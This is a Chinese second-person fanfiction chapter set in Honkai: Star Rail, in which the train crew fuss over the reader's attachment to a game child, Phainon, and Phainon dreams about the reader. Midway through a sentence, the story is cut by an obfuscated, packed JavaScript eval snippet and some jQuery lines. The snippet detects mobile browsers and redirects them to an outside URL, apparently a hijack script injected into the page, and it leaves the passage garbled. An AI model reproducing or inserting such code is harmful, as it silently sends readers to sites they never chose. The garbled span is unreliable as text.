三月七和丹恒一开始都觉得你只是在开玩笑。
但你接连几天都捧着手机如痴如醉地打那劳什子游戏,饭也不香了、梗也不玩了,三月七假装不经意地从你身后路过瞄了一眼,还是黑屏。
丹恒很担心你。
他试图引起你的注意,甚至把长长的尾巴在你面前甩了甩,每一片龙鳞都在灯光下泛着斑斓的光泽——若是平日的你,这会儿早就抱着蹭上去了,嘴里还会喊着,“小青龙哪里跑……!”
——但你这次压根就没发现,抱着手机“嘿嘿”地笑着。
丹恒收起尾巴,和三月七对视一眼。
三月七苦恼地挠了挠头,“嘿,这还真是邪门,她到底是中什么邪了?”
丹恒皱眉,“莫不是什么阴谋……”
他们二人商量了一番,打算直接问你。
于是,等你打着哈欠从房间里走出来,在吧台旁坐下,准备喝点小饮料休息一下时,一左一右就分别落座了两个熟悉的身影,直接把你挤在了中间,让你无处可逃。
你:……干、干什么?严刑逼供吗?我什么都招哇!
三月七想要跟你照常插科打诨几句,然而话头还没起,就被丹恒制止了。他直接切入正题:
“你上次说的那个孩子,现在还在养吗?”
你疑惑点头,“没错……”
“长什么样?”他耐心询问道。
长什么样……你也跟他们描述不出来啊。他们看不见小白厄、看不见游戏界面,该怎么去形容呢……
啊,有了!
你掏出纸和笔,在上面“刷刷刷”画下一只白毛小狗,小狗的毛发蓬松、露出天使一般的笑容——如果忽略你凌乱的线条的话。
“……”丹恒叹了口气,“让你画小孩,没让你画佩佩……别这么看着我,佩佩的同族也不行。”
“呀!什么话!”你摇摇头,“这哪里是画的佩佩了,明明是萨摩耶!”
“那你说它叫什么名字?”
“叫小白!”
丹恒无语,“这还不是狗吗?”
你“啪”地一下站起身来,说什么也要证明自己的艺术水平。路过的星期日很快受了牵连,被你一把拉过来,一张白纸就那么怼到了脸上。
“老日,你评评理!”你说,“你是咱们列车上艺术水平最高的人,你说我画的是什么?”
星期日看了看丹恒的脸色,又看了看你的表情,最后看了看白纸上那堆不可名状的、勉强可以看出是只狗的东西。
“……嗯……”他斟酌着措辞,“您画得很好。”
他完全避开了你的问题,只是一味地赞美。要不说他情商高能做家主呢。
“你问他有什么用?反正他怎么样都会夸你的。”丹恒闭了闭眼,感觉额角的青筋狠狠跳了一下,“你难道不知道他——”
“哇!”三月七突然发出一阵惊天动地的咳嗽,“咳咳——丹恒老师,你终于要说出口了吗!”
丹恒深吸一口气,在你奇怪的目光中懊恼地闭上了嘴,不再说话了。
星期日依旧是那副云淡风轻的样子,微微耷拉着眼睛,耳羽颤动了下,在你看过来的时候还有闲心冲你微笑。
“不过……”他似乎是纯粹好奇,“你们刚才在讨论什么孩子?”
“哦。”你丝毫没听出他话里的不对劲,“就是我的小孩啊。”
“咔嚓。”
星期日手中的玻璃杯被他自己握出了一条裂缝。
*
最终这场闹剧由你解释了好一番“孩子”究竟是什么,以及自己真的没有受到任何邪恶力量的侵害,能跑能吃能一拳打爆三个绝灭大君才勉强收场。
星期日用[同谐]的力量替你检查了一番,发现你活力四射,身体里也没有被其他能量侵蚀的痕迹,才略微放下心来。
话说回来,他或许是有些……控制欲太强了吧。之前你说得没错,对于超出控制的事,他就会感到紧张和难以释怀,总会不自觉地想要把你完全掌控起来。
“呃……”
你其实也觉得不太对劲,但都玩了这么久了,对小白厄的感情积累已经非常深厚,让你割舍下他是完全不可能的,而且银狼也不太可能害你吧?
“我没事啦,大家不用那么紧张。”
丹恒语重心长地叮嘱道,“有什么事都可以和我们说,就算只是闲逛也可以,就像那天晚上一样。你知道我一般都在智库的。”
你双手合十,“丹恒老师最好了……!”
星期日刚把玻璃碎片收拾好,帕姆还在旁边喋喋不休,“小心一点啊帕!……什么?你觉得这是列车的公共财产,很抱歉想要赔钱……?一个玻璃杯而已,没什么比乘客的安全更重要帕!”
于是星期日愣了一下,似乎是有些惊讶,“……我明白了,列车长。”
他又把头转过来面对你,语气柔和,“我虽然现在力量流失了许多,但如若你感到烦恼的话,我也可以为你奏乐放松……这点小事还是可以做到的。”
你点了点头,“谢谢你的关心,老日。如果有需要的话,我会考虑你的建议的。”
三月七被夹在中间头晕眼花,满脸写着“我姐们真厉害”,她扭头看了看丹恒,又瞅了瞅星期日,“……咱没什么好说的,咱俩的交情,你知道哒!”
她凑过来,在其余两人的注视下,直接伸出手臂抱住了你的脖子,毛茸茸的粉色头发蹭得你脖子痒痒的。
“不过你要发誓,咱俩可是最好的好伙伴!谁都不能动摇咱们的友谊!”
她想了想,补充道,“男人不行……嗯,孩子也不行。”
你也伸出手回抱了她。
“那当然。”你说,“我们要组一辈子的列车组!”
丹恒纵容地点点头。星期日投来似乎是羡慕、又似乎是无奈的眼神。
帕姆悄眯眯地走到你们身边,不说话,就那么睁着大眼睛看着你们,眼神里写满了渴望,但又害羞地欲言又止。
于是你把它也抱起来,和三月七一起揉了揉列车长的脑袋。
“——哦,说错了。是组一辈子、由伟大的帕姆列车长所带领的列车组!”
“……不要摸列车长的耳朵帕!”
姬子和老杨靠在派对车厢的门口,听着里面吵吵嚷嚷的动静,笑了。
姬子抿了口咖啡,“年轻真好。瓦/尔/特,你要来杯咖啡吗?”
“……不,这就算了。”
*
被你摆在一旁的手机里,小白厄正在靠着树干打瞌睡。
他做了个梦。
小孩子的梦总是天马行空——白厄之前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138002|180331||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就老是梦见自己在天上飞,或者突然变成超级厉害的大英雄,帮助村子解决无数个难题和危机,大家都围着他、崇拜地赞美他:
“白厄,你好厉害啊!”“白厄不愧是白厄,真是太勇敢了,哀丽秘榭出了你真是乡亲们的骄傲!”
但这次的梦显然不同。
他梦见你来到了这个小小的村庄,和他一起长大、一起光着脚在田野里奔跑、一起钓鱼捉虾……你们会一起去找昔涟占卜,对着占卜的结果煞有其事地点头,坐在田埂上憧憬着可能的未来。
他知道你有同伴。在相遇的日子里,你总会不经意地提到那些神秘的伙伴:粉发的“赵相机”少女、可靠的智库管理员……但是他有点太贪心了,听你的描述,他也想加入到那些波澜壮阔的冒险故事中去,和你们一起穿梭宇宙、四处行侠仗义。
不过如果你来哀丽秘榭,那他也会很开心。
你应该会和他到处疯跑,然后被雨淋湿、被风吹乱头发,互相指着对方鼻子上的泥点哈哈大笑,再一起傻兮兮地跑去找昔涟,试图把她也拽入到疯狂中去。
昔涟这时候就会无奈地摊手,抱怨着,“美少女的裙摆可不能弄脏呀……”再纵容地被你们拽着手,一起跑入神秘的麦田深处,有一群传说中的精灵住在那里。
两个平行的世界、两种完全不同的人生。
似乎怎样都比这种日复一日的等待要好。想着想着,白厄就不自觉地微笑了起来——原来幸福的笑容是这样的呀。
以前在村里的学堂还没有实感,但现在他好像有点懂了。
……
种田归来的白厄妈妈正好看见树下躺着的那个小小黑影,无奈地给他身上盖了件外套,嘴里还嘀咕着:
“这孩子,怎么最近老是往这里跑呢……”
白厄天生对别人的味道很敏感,这会儿嗅到有气息靠近,警觉地睁开了眼睛。
“……啊,妈妈。”他皱了皱鼻子,放下警惕,“麦子都收完了吗?”
“正好这会儿就搬最后一趟了。”白厄妈妈揉了揉他的头发,“多亏了小白一直在帮忙。等这批面粉下来,妈妈给你做面包吃好不好?”
“好——”
白厄站起来,最后瞄了一眼你经常出现的地方。
嗯……但是现在这样,他也已经很知足啦。
只是、只是如果你能再常来一点和他玩的话,他会更开心的——如果你能摸摸他的头,夸赞几句,“小白,你最近太认真了,很有进步”,那他简直要幸福地飘起来了。
……不行不行,那也太幸福了,他理解不能所有人都这么幸运。现在以这样的形式见到你,或许也是命运的一种平衡手段吧?
白厄摇摇头。牵起妈妈的手。
……如果不能常见到你,那就愿神父刻法勒一同对你施展庇佑。即使你不是属于翁法罗斯的孩子,但你可是大英雄白厄认定的、最好的伙伴!慈悲的神父也会保佑你的前路的。
好像是在很久以后、又好像只是在不久的将来,你会听到一个熟悉的声音,再度在你耳边响起:
“以刻法勒之名,我向你保证——黎明会指引你的前路、光明将照亮你的未来。从此人们提起我,就必定想起你,我许你以不灭的灵魂,与永不停息、无坚不摧的……”
“[开拓]。”